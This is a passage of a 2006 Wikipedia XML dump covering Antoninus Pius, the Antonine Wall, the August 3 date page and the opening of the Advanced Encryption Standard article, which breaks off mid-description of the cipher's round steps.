[[eo:1-a de aŭgusto]]
[[eu:Abuztuaren 1]]
[[fo:1. august]]
[[fr:1er août]]
[[fy:1 augustus]]
[[ga:1 Lúnasa]]
[[gl:1 de agosto]]
[[ko:8월 1일]]
[[hr:1. kolovoza]]
[[io:1 di agosto]]
[[ilo:Agosto 1]]
[[id:1 Agustus]]
[[ia:1 de augusto]]
[[ie:1 august]]
[[is:1. ágúst]]
[[it:1 agosto]]
[[he:1 באוגוסט]]
[[jv:1 Agustus]]
[[ka:1 აგვისტო]]
[[csb:1 zélnika]]
[[ku:1'ê gelawêjê]]
[[la:1 Augusti]]
[[lt:Rugpjūčio 1]]
[[lb:1. August]]
[[li:1 augustus]]
[[hu:Augusztus 1]]
[[mk:1 август]]
[[ms:1 Ogos]]
[[nap:1 'e aùsto]]
[[nl:1 augustus]]
[[ja:8月1日]]
[[no:1. august]]
[[nn:1. august]]
[[oc:1 d'agost]]
[[pl:1 sierpnia]]
[[pt:1 de Agosto]]
[[ro:1 august]]
[[ru:1 августа]]
[[sco:1 August]]
[[sq:1 Gusht]]
[[scn:1 di austu]]
[[simple:August 1]]
[[sk:1. august]]
[[sl:1. avgust]]
[[sr:1. август]]
[[fi:1. elokuuta]]
[[sv:1 augusti]]
[[tl:Agosto 1]]
[[tt:1. August]]
[[te:ఆగష్టు 1]]
[[th:1 สิงหาคม]]
[[vi:1 tháng 8]]
[[tr:1 Ağustos]]
[[uk:1 серпня]]
[[wa:1î d' awousse]]
[[war:Agosto 1]]
[[zh:8月1日]]
[[pam:Agostu 1]]</text>
    </revision>
  </page>
  <page>
    <title>Astronomical Units</title>
    <id>1255</id>
    <revision>
      <id>15899748</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>-- April</username>
        <id>166</id>
      </contributor>
      <minor />
      <comment>make redirect</comment>
      <text xml:space="preserve">#redirect [[Astronomical unit]]</text>
    </revision>
  </page>
  <page>
    <title>Antoninus Pius</title>
    <id>1256</id>
    <revision>
      <id>40695888</id>
      <timestamp>2006-02-22T10:33:10Z</timestamp>
      <contributor>
        <username>Panairjdde</username>
        <id>2400</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Antonius Pius 01.jpg|thumb|right|Emperor Antoninus Pius]]
[[Image:Sesterius-Antoninus Pius-Italia-RIC 0746a.jpg|200px|thumb|right|[[Sestertius]] of Antoninus Pius, with the personification of [[Italia (Roman province)|Italia]] on reverse. Antoninus had been entrusted with the government of this province as [[proconsul]].]]
'''Titus Aurelius Fulvus Boionius Arrius Antoninus Pius''' ([[September 19]], [[86]]&amp;ndash;[[March 7]] [[161]]) was [[Roman Emperors|Roman emperor]] from [[138]] to [[161]]. He was the fourth of the [[Five Good Emperors]] and a member of the [[Aurelii]]. 

He was the son of [[Titus Aurelius Fulvus]], [[consul]] in [[89]] whose family came from [[Nemausus]] (modern-day [[Nîmes]]), and was born near [[Lanuvium]]. After the death of his father, he was brought up under the care of [[Arrius Antoninus]], his maternal grandfather, a man of integrity and culture, and a friend of [[Pliny the Younger]].

Having filled with more than usual success the offices of [[quaestor]] and [[praetor]], he obtained the consulship in [[120]]; he was next appointed by the Emperor [[Hadrian]] as one of the four [[proconsul]]s to administer [[Italia (Roman province)|Italia]], then greatly increased his reputation by his conduct as [[proconsul]] of [[Asia Province|Asia]]. He acquired much favour with the Emperor Hadrian, who adopted him as his son and successor on [[February 25]], 138, after the death of his first adopted son [[Aelius Verus]], on the condition that he himself would adopt Marcus Annius Verus, the son of his wife's brother, and Lucius, son of Aelius Verus, who afterwards became the emperors [[Marcus Aurelius]] and [[Lucius Verus|Lucius Aelius Verus]] (colleague of Marcus Aurelius).

Antoninus in many ways was the ideal of the landed gentleman praised not only by ancient Romans, but also by later scholars of classical history, such as [[Edward Gibbon]] or the author of the article on Antoninus Pius in the ninth edition of the [[1911 Encyclopædia Britannica|Encyclopedia Britannica]]:

: A few months afterwards, on Hadrian's death, he was enthusiastically welcomed to the throne by the Roman people, who, for once, were not disappointed in their anticipation of a happy reign. For Antoninus came to his new office with simple tastes, kindly disposition, extensive experience, a well-trained intelligence and the sincerest desire for the welfare of his subjects. Instead of plundering to support his prodigality, he emptied his private treasury to assist distressed provinces and cities, and everywhere exercised rigid economy (hence the nickname &amp;kappa;&amp;upsilon;&amp;mu;&amp;iota;&amp;nu;&amp;omicron;&amp;pi;&amp;rho;&amp;iota;&amp;sigma;&amp;tau;&amp;eta;&amp;sigmaf; &quot;cummin-splitter&quot;). Instead of exaggerating into treason whatever was susceptible of unfavorable interpretation, he spurned the very conspiracies that were formed against him into opportunities for demonstrating his clemency. Instead of stirring up persecution against the Christians, he extended to them the strong hand of his protection throughout the empire. Rather than give occasion to that oppression which he regarded as inseparable from an emperor's progress through his dominions, he was content to spend all the years of his reign in Rome, or its neighbourhood.

Of the public transactions of this period we have scant information, but, to judge by what we possess, those twenty-two years were not remarkably eventful in comparison to those before and after his; the surviving evidence is not complete enough to determine whether we should interpret, with older scholars, that he wisely curtailed the activities of the Roman Empire to a careful minimum, or perhaps that he was uninterested in events away from Rome and [[Italy]] and his inaction contributed to the pressing troubles that faced not only Marcus Aurelius but also the emperors of the [[third century]].

[[Image:RomaForoRomanoTempioAntoninoFaustina.JPG|thumb|Temple of Antoninus and [[Faustina the Elder|Faustina]] in the [[Roman forum]] (now the church of [[San Lorenzo in Miranda]]). The emperor and his ''[[Augusta (honorific)|Augusta]]'' were deified after their death by [[Marcus Aurelius]].]]

One of his first acts as Emperor was to persuade the [[Roman Senate |Senate]] to grant divine honours to Hadrian, which they had at first refused; his efforts to persuade the Senate to grant these honours is one of the reasons given for his title of ''Pius'' (dutiful in affection; compare ''[[pietas]]''). Two other reasons for this title are that he would support his aged father-in-law with his hand at Senate meetings, and that he had saved those men that Hadrian, during his period of ill-health, had condemned to death. He built temples, theaters, and mausoleums, promoted the arts and sciences, and bestowed honours and salaries upon the teachers of [[rhetoric]] and [[philosophy]].

His reign was comparatively peaceful; there were several military disturbances throughout the Empire in his time, in [[Mauretania]], [[Iudaea (Roman province)|Iudaea]], and amongst the [[Brigantes]] in [[Roman Britain|Britannia]], but none of them are considered serious. The unrest in Britannia is believed to have led to the construction of the [[Antonine Wall]] from the [[Firth of Forth]] to the [[Firth of Clyde]], although it was soon abandoned.

In his domestic relations Antoninus was not so fortunate.  His wife, [[Faustina the Elder]], has almost become a byword for her lack of womanly virtue; but she seems to have kept her hold on his affections to the last. On her death in the third year of his reign, he honoured her memory by the foundation of a [[charity]] for orphan girls, who bore the name of ''Alimentariae Faustinianae'', following the practice of prior emperors in endowing an ''[[alimentaria]]'' to promote the welfare of children and an increased population.  He had by her two sons and two daughters; but they all died before his elevation to the throne, except [[Annia Faustina]], who became the wife of Marcus Aurelius. 

Antoninus died of fever at [[Lorium]] in [[Etruria]], about twelve miles from Rome, on [[March 7]] 161, giving the keynote to his life in the last word that he uttered when the [[tribune]] of the night-watch came to ask the password &amp;mdash; &quot;aequanimitas&quot;.

The only account of his life handed down to us is that of Julius Capitolinus, one of the ''[[Scriptores Historiae Augustae]]''.

===Contacts with China===
The [[Hou Hanshu]] (History of the Later Han [[China|Chinese]] dynasty) recounted the first of several [[Roman embassies to China]] sent out by Emperor Antoninus Pius.  The mission came from the South, and therefore probably by sea, entering China by the frontier of [[Jinan]] or [[Tonkin]], bringing presents of [[rhinoceros]] horns, ivory, and [[tortoise shell]] which had probably been acquired in [[Southern Asia]].

The emperor was most likely [[Marcus Aurelius]], who was the reigning emperor. Antoninus Pius died in 161, while the convoy arrived in [[166]].  The confusion arises because Marcus Aurelius took as additional names, those of his predecessor as a mark of respect. He is referred to in Chinese history as &quot;An Tun&quot; (= Antoninus), hence the confusion. 

The mission reached the Chinese capital of [[Luoyang]] in 166 and was met by [[Emperor Huan of Han China|Emperor Huan]] of the [[Han Dynasty]]. About the same time, and possibly through this embassy, the Chinese acquired a treatise of [[astronomy]] from [[Daqin]] (Rome).

== References ==
* Bossart-Mueller, ''Zur Geschichte des Kaisers A.'' (1868)
* Lacour-Gayet, ''A. le Pieux et son Temps'' (1888)
* Bryant, ''The Reign of Antonine'' (Cambridge Historical Essays, 1895)
* P. B. Watson, ''Marcus Aurelius Antoninus'' (London, 1884), chap. ii. 
* {{1911}}

{{Commons|Antoninus Pius}}

{{start box}}
{{succession box|title=[[List of Roman Emperors|Roman Emperor]]|before=[[Hadrian]]|after=[[Marcus Aurelius]] and [[Lucius Verus]]|years=138&amp;ndash;161}}
{{succession box|title=[[Five Good Emperors]]|before=[[Hadrian]]|after=[[Marcus Aurelius]]|years=96&amp;ndash;180}}
{{end box}}

[[Category:86 births]]
[[Category:161 deaths]]
[[Category:Roman emperors]]
[[Category:Nerva-Antonine Dynasty]]
[[Category:Adoptive parents]]

[[bg:Антонин Пий]]
[[da:Antoninus Pius]]
[[de:Antoninus Pius]]
[[et:Antoninus Pius]]
[[es:Antonino Pío]]
[[eo:Antonino Pia]]
[[eu:Antonino Pio]]
[[fr:Antonin le Pieux]]
[[ko:안토니누스 피우스]]
[[hr:Antonin Pio]]
[[it:Antonino Pio]]
[[he:אנטונינוס פיוס]]
[[ka:ანტონინუს პიუსი]]
[[la:T. Aurelius Fulvius Boionius Arrius Antoninus Pius]]
[[hu:Antoninus Pius]]
[[nl:Antoninus Pius]]
[[ja:アントニヌス・ピウス]]
[[no:Antoninus Pius]]
[[pl:Antoninus Pius]]
[[pt:Antonino Pio]]
[[ro:Antoninus Pius]]
[[ru:Антонин Пий]]
[[fi:Antoninus Pius]]
[[sv:Antoninus Pius]]
[[uk:Антоній Пій]]
[[zh:安敦宁·毕尤]]</text>
    </revision>
  </page>
  <page>
    <title>Antonine Wall</title>
    <id>1257</id>
    <revision>
      <id>40436655</id>
      <timestamp>2006-02-20T15:12:47Z</timestamp>
      <contributor>
        <username>Neddyseagoon</username>
        <id>883252</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:DSCF0062.JPG|thumb|200px|right|The Antonine Wall, looking east, from Barr Hill between Twechar and [[Croy, North Lanarkshire|Croy]]]]

[[Image:DSCF0051.JPG|thumb|200px|right|The Antonine Wall, remains of Roman fortlet, Barr Hill, near Twechar]]

[[Image:Hadrians Wall map.png|thumb|300px|right]]

{{commons|Antonine Wall}}

The '''Antonine Wall''' is a [[rock (geology)|stone]] and [[sod|turf]] [[fortification]], built by the [[Roman Empire|Roman]]s across what is now the [[central belt]] of [[Scotland]].

Construction of the Antonine Wall began in [[142]] CE during the reign of [[Antoninus Pius]], and was completed in [[144]]. The wall stretches 60 [[kilometre]]s (37 [[mile]]s) from [[Old Kirkpatrick, Scotland|Old Kirkpatrick]] in [[West Dunbartonshire]] on the [[Firth of Clyde]] to [[Bo'ness]], [[Falkirk (council area)|Falkirk]], on the [[Firth of Forth]]. The wall was intended to replace [[Hadrian's Wall]] 160 km (100 miles) to the south, as the frontier of ''[[Roman Britain|Britannia]]'', but while the Romans did establish temporary forts and camps north of the wall, they did not conquer the [[Caledonians]], and the Antonine Wall suffered many attacks. The Romans called the land north of the wall ''[[Caledonia]]''.

The Antonine Wall was inferior to Hadrian's Wall in terms of scale and construction, but it was still an impressive achievement, considering that it was completed in only two years, at the northern edge of the Roman [[empire]] in what they perceived as a cold and hostile land. The wall was typically an earth bank, about four metres high, with a wide [[ditch]] on the north side, and a [[Roman road|military way]] or road on the south. The Romans initially planned to build forts every six miles, but this was soon revised to every two miles, resulting in a total of 19 forts along the wall.

The wall was abandoned after only 20 years, when the [[Roman legion]]s withdrew to Hadrian's Wall in AD [[164]]. After a series of attacks in AD [[197]], Emperor [[Septimius Severus]] arrived in Scotland in AD [[208]] to secure the frontier, and repaired parts of the wall. Although this re-occupation only lasted a few years, the wall is sometimes referred to (by later Roman historians) as the '''Severan Wall'''.

Although most of the wall has been destroyed over time, sections of the wall can still be seen in [[Bearsden]], [[Kirkintilloch]], [[Twechar]], [[Croy, North Lanarkshire|Croy]], [[Falkirk, Scotland|Falkirk]] and [[Polmont, Scotland|Polmont]].

==See also==
* [[History of Scotland]]
* [[Historic Sites in Scotland]]
* [[Roman Britain]]
* [[Trimontium]]
* [[List of walls]].

==External links==
* http://www.athenapub.com/antwall1.htm
* http://www.athenapub.com/britsite/hillfoot.htm
* http://www.roman-britain.org/frontiers/antonine.htm
* http://www.almac.co.uk/FalkirkTCM/Rome.htm
* http://www.kilsyth.org.uk/


[[Category:Ancient Roman architecture]]
[[Category:Archaeological sites in Scotland]]
[[Category:Fortification]]
[[Category:Nerva-Antonine Dynasty]]
[[Category:Roman military occupation in southern Scotland]]
[[Category:Roman sites in Scotland]]
[[Category:Separation barriers]]
[[Category:Walls]]
[[Category:Roman frontiers]]

{{Scotland-stub}}
{{UK-hist-stub}}

[[cs:Antoninův val]]
[[de:Antoninuswall]]
[[es:Muro de Antonino]]
[[fr:Mur d'Antonin]]
[[no:Den antoninske mur]]
[[fi:Antoninuksen valli]]
[[zh:安多宁长城]]</text>
    </revision>
  </page>
  <page>
    <title>August 3</title>
    <id>1259</id>
    <revision>
      <id>41773404</id>
      <timestamp>2006-03-01T17:23:35Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Births */ removed Ram Suri - no matching article</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=3}}
|}
'''[[August 3]]''' is the 215th day of the year in the [[Gregorian Calendar]] (216th in [[leap year]]s), with 150 days remaining.

==Events==
*[[8]] - Roman general [[Tiberius]] defeats [[Dalmatians]] on the river Bathinus.  
* [[435]] - Deposed [[Patriarch of Constantinople]] [[Nestorius]], considered the originator of the [[Christology|Christological]] &quot;[[heresy]]&quot; (at the time) known as [[Nestorianism]], was exiled by [[List of Byzantine Emperors|Byzantine Emperor]] [[Theodosius II]] to a [[monastery]] in [[Egypt]].
*[[1492]] - [[Christopher Columbus]] sets sail from [[Palos de la Frontera]], [[Spain]].
*1492 - The [[Jew]]s of [[Spain]] are expelled by the [[Catholic Monarchs]].
*[[1527]] - First known letter was sent from North America by [[John Rut]] while at [[St. John's, Newfoundland and Labrador|St. John's]], [[Newfoundland]].
*[[1635]] - The third of the [[Tokugawa shogunate|Tokugawa shoguns]], [[Tokugawa Iemitsu|Iemitsu]], establishes the system of alternate attendance by which the feudal [[daimyo|daimyō]] are required to spend one year at [[Edo Castle]] in [[Tokyo]] and one year back home at their feudal manor, while their families remained in [[Tokyo]] as virtual political hostages. (Traditional [[Japanese calendar|Japanese Date]]: June 21, 1635).
*[[1645]] - The [[Battle of Nördlingen (1645)|Second Battle of Nördlingen]] is fought between the forces of [[France]] and the [[Holy Roman Empire]].
*[[1678]] - [[Robert LaSalle]] builds the ''[[Griffon (ship)|Griffon]]'', the first known ship built in America.
*[[1783]] - [[Mount Asama]] erupts in [[Japan]], killing 35,000 people.
*[[1860]] - The [[Second Maori War]] begins in [[New Zealand]].
*[[1900]] - [[Firestone Tire]] &amp; Rubber Company founded.
*[[1914]] - [[World War I|First World War]]: [[Germany]] declares war against [[France]].
*[[1916]] - First World War: The [[Battle of Romani]] is fought between forces of the [[British Empire]] and the [[Ottoman Empire]].
*[[1923]] - [[Calvin Coolidge]] is inaugurated as the 30th [[President of the United States]].
*[[1940]] - [[World War II|Second World War]]: [[Italy]] invades [[British Somaliland]].
*[[1946]] - [[National Basketball Association]] is founded in the [[United States]].
*[[1948]] - [[Whittaker Chambers]] accuses [[Alger Hiss]] of being a [[communist]] and a [[secret agent|spy]] for the [[Soviet Union]].
*[[1958]] - The [[Nuclear energy|nuclear]] [[submarine]] [[USS Nautilus (SSN-571)|USS ''Nautilus'']] travels beneath the [[Arctic Ocean|Arctic]] ice cap.
*[[1960]] - [[Niger]] gains independence from [[France]].
*[[1972]] - [[United States|U.S.]] Senate ratifies the [[Anti-Ballistic Missile Treaty]].
*[[1973]] - [[R&amp;B]] singer [[Stevie Wonder]] releases the classic album ''[[Innervisions]]''.
*[[1975]] - A privately chartered [[Boeing]] 707 impacts the mountainside near [[Agadir]], [[Morocco]] killing 188.
*[[1977]] - [[United States Senate]] Hearing on [[MKULTRA]].
*[[1981]] - In the United States, Professional [[Air traffic controller|Air Traffic Controllers]] Organization walks off the job. All 13,000 members will eventually be fired by President [[Ronald Reagan]].
*1981 - [[Senegal]]ese opposition parties, under the leadership of [[Mamadou Dia]], launches the [[Antiimperialist Action Front-Suxxali Reew Mi]].
*[[1990]] - The highest temperature recorded in the [[United Kingdom|UK]] until [[10 August]], [[2003]] - 37.1°C (98.8°F) at [[Cheltenham]] in [[Gloucestershire]].
*[[1997]] - [[Oued El-Had and Mezouara massacre]] in [[Algeria]]; 40-76 villagers killed.
*[[2004]] - The pedestal of the [[Statue of Liberty]] reopens after being closed since [[September 11, 2001]].
*[[2005]] - [[President]] [[Maaouya Ould Sid'Ahmed Taya]] of [[Mauritania]] is overthrown in a [[military coup]] while attending the [[funeral]] of [[King Fahd]] in [[Saudi Arabia]].

==Births==
*[[1509]] - [[Étienne Dolet]], French scholar and printer (d. [[1546]])
*[[1604]] - [[John Eliot (missionary)|John Eliot]], English missionary (d. [[1690]])
*[[1692]] - [[John Henley]], English clergyman (d. [[1759]])
*[[1770]] - King [[Friedrich Wilhelm III of Prussia]] (d. [[1840]])
*[[1801]] - [[Joseph Paxton]], English gardener and architect (d. [[1865]])
*[[1808]] - [[Hamilton Fish]], American politician (d. [[1893]])
*[[1811]] - [[Elisha Graves Otis]], American inventor (d. [[1861]])
*[[1817]] - [[Archduke Albert (1817-1895)|Archduke Albert]], Austrian general (d. [[1895]])
*[[1832]] - [[Ivan Zajc]], Croatian composer (d. [[1914]])
*[[1856]] - [[Alfred Deakin]], second [[Prime Minister of Australia]] (d. [[1919]])
*[[1860]] - [[W.K. Dickson]], Scottish inventor (d. [[1935]])
*[[1867]] - [[Stanley Baldwin]], [[Prime Minister of the United Kingdom]] (d. [[1947]])
*[[1872]] - King [[Haakon VII of Norway]] (d. [[1957]])
*[[1887]] - [[Rupert Brooke]], English poet (d. [[1915]])
*[[1894]] - [[Harry Heilmann]], baseball player (d. [[1951]])
*[[1900]] - [[Ernie Pyle]], American war correspondent (d. [[1945]])
*1900 - [[John T. Scopes]], American defendant (d. [[1970]])
*[[1901]] - [[Stefan Wyszynski]], Polish Catholic prelate (d. [[1981]])
*[[1903]] - [[Habib Bourguiba]], Tunisian Politician (d. [[2000]])
*[[1904]] - [[Clifford D. Simak]], American author (d. [[1988]])
*[[1905]] - [[Dolores del Rio]], Mexican-born actress (d. [[1983]])
*1905 - Cardinal [[Franz König]], Austrian Catholic archbishop (d. [[2004]])
*[[1916]] - [[José Manuel Moreno]], Argentine footballer (d. [[1978]])
*[[1918]] - [[Sidney Gottlieb]], American Central Intelligence Agency official (d. [[1999]])
*[[1920]] - [[P.D. James]], English novelist
*[[1923]] - [[Shenouda III of Alexandria]], Pope of the Coptic Orthodox Church
*[[1924]] - [[Leon Uris]], American novelist (d. [[2003]])
*[[1925]] - [[Marv Levy]], American football coach
*[[1926]] - [[Tony Bennett]], American singer
*  1926   - [[Anthony Sampson]], British journalist and biographer (d. [[2004]])
*[[1927]] - [[Gordon Scott]], American actor (Tarzan)
*[[1935]] - [[Georgi Shonin]], cosmonaut (d. [[1997]])
*[[1936]] - [[Edward Petherbridge]], English actor
*[[1937]] - [[Steven Berkoff]], British actor
*  1937   - [[Diane Wakoski]], American poet
*[[1938]] - [[Terry Wogan]], Irish radio and television presenter
*[[1940]] - [[Lance Alworth]], American football player
*  1940   - [[Martin Sheen]], American actor
*[[1941]] - [[Beverly Lee]], American singer ([[Shirelles]])
*  1941   - [[Martha Stewart]], American publisher and media personality
*[[1946]] - [[Jack Straw (politician)|Jack Straw]], British politician
*[[1948]] - [[Jean-Pierre Raffarin]], [[Prime Minister of France]]
*[[1950]] - [[John Landis]], American film director
*[[1951]] - [[Marcel Dionne]], Canadian hockey player
*  1951   - [[Jay North]], American actor
*[[1952]] - [[Osvaldo Ardiles]], Argentine footballer and coach
*[[1959]] - [[Martin Atkins]], English drummer
*  1959   - [[Koichi Tanaka]], Japanese scientist, recipient of the [[Nobel Prize in Chemistry]]
*[[1963]] - [[James Hetfield]], American singer and guitarist ([[Metallica]])
*[[1970]] - [[Gina G]], British singer
*[[1977]] - [[Tom Brady]], American football player
*[[1979]] - [[Evangeline Lilly]], Canadian actress and fashion model

==Deaths==
*[[1181]] - [[Pope Alexander III]] (c. [[1105]])
*[[1460]] - King [[James II of Scotland]] (b. [[1430]])
*[[1546]] - [[Antonio da Sangallo the Younger]], Italian architect (b. [[1484]])
*1546 - [[Étienne Dolet]], French scholar and printer (b. [[1509]])
*[[1604]] - [[Bernardino de Mendoza]], Spanish military commander
*[[1621]] - [[Guillaume du Vair]], French writer (b. [[1556]])
*[[1667]] - [[Francesco Borromini]], Swiss sculptor and architect (b. [[1599]])
*[[1712]] - [[Joshua Barnes]], English scholar (b. [[1654]])
*[[1720]] - [[Anthonie Heinsius]], Dutch statesman (b. [[1641]])
*[[1721]] - [[Grinling Gibbons]], Dutch-born woodcarver (b. [[1648]])
*[[1761]] - [[Johann Matthias Gesner]], German classical scholar (b. [[1691]])
*[[1773]] - [[Stanisław Konarski]], Polish writer (b. [[1700]])
*[[1780]] - [[Étienne Bonnot de Condillac]], French philosopher (b. [[1715]])
*[[1792]] - [[Richard Arkwright]], English industrialist and inventor (b. [[1732]])
*[[1797]] - [[Jeffrey Amherst]], British military commander (b. [[1717]])
*[[1805]] - [[Christopher Anstey]], English writer (b. [[1724]])
*[[1857]] - [[Eugène Sue]], French novelist (b. [[1804]])
*[[1867]] - [[Philipp August Böckh]], German scholar and antiquarian (b. [[1785]])
*[[1877]] - [[William Butler Ogden]], first Mayor of Chicago (b.[[1805]])
*[[1879]] - [[Joseph Severn]], English painter (b. [[1793]])
*[[1916]] - Sir [[Roger Casement]], Irish rebel (hanged) (b. [[1864]])
*[[1924]] - [[Joseph Conrad]], Polish-born writer (b. [[1857]])
*[[1929]] - [[Emil Berliner]], German-born telephone and recording pioneer (b. [[1851]])
*1929 - [[Thorstein Veblen]], American economist (b. [[1857]])
*[[1942]] - [[Richard Willstätter]], German chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1872]])
*[[1954]] - [[Colette]], French writer (b. [[1873]])
*[[1964]] - [[Flannery O'Connor]], American writer (b. [[1925]])
*[[1966]] - [[Lenny Bruce]], American comedian (b. [[1925]])
*[[1973]] - [[Richard Marshall]], U.S. Army general (b. [[1895]])
*[[1977]] - [[Alfred Lunt]], American actor (b. [[1892]])
*1977 - Archbishop [[Makarios]] of Cyprus (b. [[1913]])
*[[1979]] - [[Bertil Ohlin]], Swedish economist, [[Nobel Prize in Economics|Nobel Prize]] laureate (b. [[1899]])
*[[1983]] - [[Carolyn Jones]], American actress (b. [[1929]])
*[[1995]] - [[Ida Lupino]], English actress and director (b. [[1914]])
*1995 - [[Edward Whittemore]], American writer (b. [[1933]])
*[[1998]] - [[Alfred Schnittke]], Russian composer (b. [[1934]])
*[[2001]] - [[Christopher Hewett]], British actor (b. [[1922]])
*[[2002]] - [[Carmen Silvera]], British actress (b. [[1922]])
*[[2003]] - [[Roger Voudouris]], American singer and songwriter (b. [[1954]])
*[[2004]] - [[Henri Cartier-Bresson]], French photographer (b. [[1908]])
*[[2005]] - [[Françoise d'Eaubonne]], French feminist (b. [[1920]])
*2005 - [[Steven Vincent]], American journalist (b. [[1955]])

==Holidays and observances==

*[[Equatorial Guinea]] - [[Armed Forces Day]]
*[[Niger]] - [[Independence Day]]

== External links ==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/3 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050803.html ''The New York Times'': On This Day]
----

[[August 2]] - [[August 4]] - [[July 3]] - [[September 3]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[ilo:Agosto 3]]

[[af:3 Augustus]]
[[ar:3 أغسطس]]
[[an:3 d'agosto]]
[[ast:3 d'agostu]]
[[bg:3 август]]
[[be:3 жніўня]]
[[bs:3. avgust]]
[[ca:3 d'agost]]
[[ceb:Agosto 3]]
[[cv:Çурла, 3]]
[[co:3 d'aostu]]
[[cs:3. srpen]]
[[cy:3 Awst]]
[[da:3. august]]
[[de:3. August]]
[[et:3. august]]
[[el:3 Αυγούστου]]
[[es:3 de agosto]]
[[eo:3-a de aŭgusto]]
[[eu:Abuztuaren 3]]
[[fo:3. august]]
[[fr:3 août]]
[[fy:3 augustus]]
[[ga:3 Lúnasa]]
[[gl:3 de agosto]]
[[ko:8월 3일]]
[[hr:3. kolovoza]]
[[io:3 di agosto]]
[[id:3 Agustus]]
[[ia:3 de augusto]]
[[ie:3 august]]
[[is:3. ágúst]]
[[it:3 agosto]]
[[he:3 באוגוסט]]
[[jv:3 Agustus]]
[[ka:3 აგვისტო]]
[[csb:3 zélnika]]
[[ku:3'ê gelawêjê]]
[[lt:Rugpjūčio 3]]
[[lb:3. August]]
[[li:3 augustus]]
[[hu:Augusztus 3]]
[[mk:3 август]]
[[ms:3 Ogos]]
[[nap:3 'e aùsto]]
[[nl:3 augustus]]
[[ja:8月3日]]
[[no:3. august]]
[[nn:3. august]]
[[oc:3 d'agost]]
[[pl:3 sierpnia]]
[[pt:3 de Agosto]]
[[ro:3 august]]
[[ru:3 августа]]
[[sco:3 August]]
[[sq:3 Gusht]]
[[scn:3 di austu]]
[[simple:August 3]]
[[sk:3. august]]
[[sl:3. avgust]]
[[sr:3. август]]
[[fi:3. elokuuta]]
[[sv:3 augusti]]
[[tl:Agosto 3]]
[[tt:3. August]]
[[te:ఆగష్టు 3]]
[[th:3 สิงหาคม]]
[[vi:3 tháng 8]]
[[tr:3 Ağustos]]
[[uk:3 серпня]]
[[wa:3 d' awousse]]
[[war:Agosto 3]]
[[zh:8月3日]]
[[pam:Agostu 3]]</text>
    </revision>
  </page>
  <page>
    <title>Advanced Encryption Standard</title>
    <id>1260</id>
    <revision>
      <id>41635903</id>
      <timestamp>2006-02-28T18:12:56Z</timestamp>
      <contributor>
        <username>Ciphergoth</username>
        <id>9493</id>
      </contributor>
      <comment>express that differently - move AddRoundKey to the front</comment>
      <text xml:space="preserve">{{Infobox Block Ciphers|
  fullName        = AES |
  image           = AES-SubBytes.png |
  caption         = The &lt;tt&gt;SubBytes&lt;/tt&gt; step, one of four stages in a round of AES.|
  yearPublished   = [[1998]] |
  derivedFrom     = [[Square (cipher)]] |
  derivedTo       = [[Crypton (cypher)]], [[Anubis (cipher)]], [[GRAND CRU]] |
  designers       = [[Vincent Rijmen]] and [[Joan Daemen]] |
  blockSize       = 128 bits [[Advanced_Encryption_Standard#blocksize|note]]|
  keySize         = 128, 192 or 256 bits [[Advanced_Encryption_Standard#keysize|note]]|
  cipherStructure = [[Substitution-permutation network]] |
  rounds          = 10, 12 and 14 (for the respective key sizes) |
  cryptanalysis   = A [[related-key attack]] can break up to 9 rounds of 256-bit AES. A [[chosen-plaintext attack]] can break 8 rounds of 192- and 256-bit AES, and 7 rounds of 128-bit AES. (Ferguson et al, 2000). |
|}}
In [[cryptography]], the '''Advanced Encryption Standard''' ('''AES'''), also known as '''Rijndael''', is a [[block cipher]] adopted as an [[encryption]] standard by the [[United States|US]] government.  It is expected to be used worldwide and analysed extensively, as was the case with its predecessor, the [[Data Encryption Standard]] (DES). AES was adopted by [[National Institute of Standards and Technology]] (NIST) as US [[Federal Information Processing Standard|FIPS]] PUB 197 in [[November]] [[2001]] after a 5-year standardisation process (see [[Advanced Encryption Standard process]] for more details). 

The cipher was developed by two [[Belgium|Belgian]] cryptographers, [[Joan Daemen]] and [[Vincent Rijmen]], and submitted to the AES selection process under the name &quot;Rijndael&quot;, a [[portmanteau]] comprising the names of the inventors. Rijndael can be pronounced &quot;Rhine dahl&quot;, a long &quot;[[i]]&quot; and a silent &quot;[[e]]&quot; ([[International Phonetic Alphabet|IPA]]: {{IPA|[&amp;#633;aindal]}}). In the sound file linked below, it is pronounced {{IPA|[r&amp;#688;aindau]}}.

==Development==
Rijndael was a refinement of an earlier design by Daemen and Rijmen, [[Square (cipher)|Square]]; Square was a development from [[Shark (cipher)|Shark]].

Unlike its predecessor DES, Rijndael is a [[substitution-permutation network]], not a [[Feistel network]]. AES is fast in both [[computer software|software]] and [[hardware]], is relatively easy to implement, and requires little [[computer memory|memory]]. As a new encryption  standard, it is currently being deployed on a large scale.
&lt;br clear=&quot;all&quot;&gt;

==Description of the cipher==
{| align=&quot;right&quot; style=&quot;margin: 0 0 1em 1em;&quot; width=&quot;325px&quot;
| [[Image:AES-AddRoundKey.png|right|320px|thumbnail|In the &lt;tt&gt;AddRoundKey&lt;/tt&gt; step, each byte of the state is combined with a byte of the round subkey using the [[XOR]] operation (&amp;oplus;).]]
|-
| [[Image:AES-SubBytes.png|right|320px|thumbnail|In the &lt;tt&gt;SubBytes&lt;/tt&gt; step, each byte in the state is replaced with its entry in a fixed 8-bit lookup table, ''S''; ''b&lt;sub&gt;ij&lt;/sub&gt;'' = ''S(a&lt;sub&gt;ij&lt;/sub&gt;)''.]]
|-
| [[Image:AES-ShiftRows.png|right|320px|thumbnail|In the &lt;tt&gt;ShiftRows&lt;/tt&gt; step, bytes in each row of the state are shifted cyclically to the left. The number of places each byte is shifted differs for each row.]]
|-
| [[Image:AES-MixColumns.png|right|320px|thumbnail|In the &lt;tt&gt;MixColumns&lt;/tt&gt; step, each column of the state is multiplied with a fixed polynomial ''c(x)''.]]
|-
|}
